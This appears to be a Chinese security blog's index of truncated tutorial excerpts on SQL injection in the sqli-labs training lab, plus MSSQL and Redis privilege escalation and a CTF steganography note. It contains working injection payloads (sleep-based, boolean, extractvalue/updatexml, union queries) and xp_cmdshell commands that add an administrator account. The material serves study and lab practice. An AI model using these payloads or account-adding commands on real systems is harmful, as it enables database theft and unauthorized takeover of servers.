时间盲注
# SQL 注入之时间盲注
在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回显的,一个彻底没有回显,通过构造语句,通过页面响应的时长,来判断信息,这就是时间盲注。
先来学习一下时间盲注所需要的函数
sleep()//延迟函数if(condition,true,false)//若条件为真 返回true,若条件为假 返回falsesubstring("string",strart,length)
主要的也就是这几个了,下面就通过 sqli-labs 第十关来练习时间盲注
# 尝试注入报错
http://127.0.0.1/sqli/Less-10/?id=1'
http://127.0.0.1/sqli/Less-10/?id=1'"
构造 and 1 条件,然后使用 if 条件语句包含时间盲注。
如果 database () 的长度大于 5,那么返回 1,否则延迟 10s
?id=1" and if(length(database())>5,1,sleep(10) ...
布尔盲注
# SQL 注入之布尔盲注
本篇使用布尔盲注。
注意 :盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施 SQL 注入。
布尔盲注
原理:
注入的时候只会返回 True和False ,所以布尔盲注就是根据页面显示的是 True还是False 进行猜测数据库中的信息。
布尔盲注需要几个函数的辅助,就先来了解一下这几个函数
length()函数可返回字符串的长度substring()函数可以截取字符串,可指定开始的位置和截取的长度ord()函数可以返回单个字符的ASCII码char()函数可将ASCII码转换为对应的字符
具体的用法可以参考大佬的博客 Mysql 语法介绍,接下来就通过 sql-labs 练习布尔盲注。
判断注入点(也就是闭合符号)
http://127.0.0.1/sqli/Less-8/?id=1'
发现输入 id=1' 没有错误回显
在 id=1' 后再加上注释符号后又回显正确,所以判定闭合符号为 '
http://127.0.0.1/sqli/Less-8/?id=1' %23
爆数据库长度
由于我们知道 ...
双注入
# SQL 注入之双注入
本篇使用双注入。
# 注入步骤
# 设置代理
还是 Less-11,我们挂上 BurpSuit 代理,然后 Send To Reapeater。
# 确定注入类型和列数
我们输入 1 + 单引号。 不报错
uname=1' %23&passwd=123456&submit=Submit
输入 1 + 单引号 + %23
uname=1'" %23&passwd=123456&submit=Submit
报错, " #' and password='123456' LIMIT 0,1 。
由 #号后面跟着个单引号,这就说明第一个 username 是使用单引号闭合的。
使用 order by n 确定列数
输入 2,不报错
uname=1' order by 2 %23&passwd=123456&submit=Submit
输入 3,报错
uname=1' order by 3 %23&passwd=123456&submit=S ...
报错注入
# SQL 注入之报错注入
本篇使用报错注入。
注意 :报错函数的使用中,第二个参数如果来自于查询语句,都是需要用小括号包裹起来的。
#使用 extractvalue(1, (select xxx))uname=1' union select 1, extractvalue(1, concat('%', (select table_name from information_schema.tables where table_schema=database()))) --+&passwd=123456&submit=Submit#使用 updatexml(1, (select xxx), 1)uname=1' union select 1, updatexml(1, concat('%', (select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+&passw ...
字符型注入
# SQL 注入之字符型注入
本篇使用字符型注入。
# 注入步骤 (单引号注入)
由于 Less-1 从请求上看到是 GET 型,所以礼节性地输入个 id=1
# 尝试注入类型
输入 1’ 来看看是否报错
输入 22’ 来看看是否报错
那么, '22'' LIMIT 0,1 中,‘22’’ 外面包裹的两个单引号是查询时带上的,需要我们去闭合。
# 确定注入类型
闭合单引号,需要在输入中添加一个单引号之后,使用行注释符注释后面的代码,常用的有: #、%23、–+
那么,我们尝试一下 #号
http://127.0.0.1/sqli/Less-1/?id=2' #
不行,会报错,可能后台过滤了 #号。
尝试 %23 也一样,就不再贴图了。
我们最后尝试–+,成功。
http://127.0.0.1/sqli/Less-1/?id=2' --+
由此,可以确定此题注入类型为字符型注入的单引号注入。
# 确定列数
使用 order by n 来确定有多少列。order by n 会以当前表中的 “第 n 列” 进行排序,如果第 n 列不存在,则会抛出 Un ...
POST注入
# SQL 注入之 POST 注入
本篇使用 POST 注入。
# 注入步骤
# 尝试注入类型
输入 1’ 来看看是否报错
果不其然,此输入框存在 SQL 注入。且报错信息为 use near ''1'' and password='' LIMIT 0,1' at line 1
提取出错点发生在这一句:
'1'' and password='' LIMIT 0,1
其中,1’ 是我们输入的,那么其查询语句基本上可以确定为:
select 1 from users where username = 'xxx' and password = 'xxx' LIMIT 0,1
接着,查看其 F12 发现,网页发送的是 POST 请求。
然后通过继续深入查询网页源代码的 Elements 可以得到,两个 <input> 标签对应的变量名,Username 对应 uname,Password 对应 passwd
那么就可以构造 POST 请求:
uname=1'&pas ...
整型注入
# SQL 注入之整型注入
本篇使用整型注入来从 0 到 1 进入 “SQL 注入” 的大门。
# 环境准备
当然是先安装 phpStudy,然后一键傻瓜式安装后点击启动按钮
之后点击 MySQL 管理器
双击 localhost,账户名 root,密码 root 即可进入。
打开浏览器,选择 sqli
选择第一个 Setup
出现这个界面,即完成了数据库的初始化
点击后退键回到上一个页面,然后点击 Less-1
出现 SQLI DUMB SERIES-1
接下来以 Less-2 作为例子进行讲解:
# SQL 注入步骤
# ①判断是否有注入 (判断是否未严格校验)
# 1) 可控参数的改变能否影响页面的显示结果
网页让输入 id,可是我们并没有看到交互框,因此猜测有可能是需要发送请求。
点击查看网页源代码,在 Network 这里看到是 GET 请求。
因此我们选择在链接后面加上 id 参数
发现成功令其输出内容。
此时我们再次改变 GET 请求中 id 的值,发现,内容会对应有所变化。
# 2) 输入的 SQL 语句是否能报错
因为能通过数据库的报错,看到数 ...
MSSQL提权攻击
# SQL Server(MSSQL)提权
总结一下,下文使用有效命令全部为:
--1.xp_cmdshell提权exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;#master..xp_cmdshell的全写是master.dbo.xp_cmdshellexec master..xp_cmdshell 'net user HeyJack HeyJack /add';exec master..xp_cmdshell 'net localgroup administrators HeyJack /add';exec master..xp_cmdshell 'ipconfig'exec master..xp_cmdshell 'type C:\Documents and Settings\桌面\flag.txt';-- ...
Redis提权攻击
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。从 2010 年 3 月 15 日起,Redis 的开发工作由 VMware 主持。从 2013 年 5 月开始,Redis 的开发由 Pivotal 赞助。
# 0x00 Redis 提权攻击
Redis 在默认情况下,会绑定在 0.0.0.0:6379 上,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务 暴露到公网 上。
如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys ...
Misc——私有bit隐写
# 0x01 知识点
typedef FrameHeader{// 类型 字段名:bit数unsigned int sync:12; //同步信息unsigned int version:2; //版本unsigned int layer: 2; //层unsigned int error protection:1; //CRC校验unsigned int bitrate_index:4; //位率unsigned int sampling_frequency:2; //采样频率unsigned int padding:1; //帧长调节unsigned int private:1; //保留字 【通常藏有flag】unsigned int mode:2; ...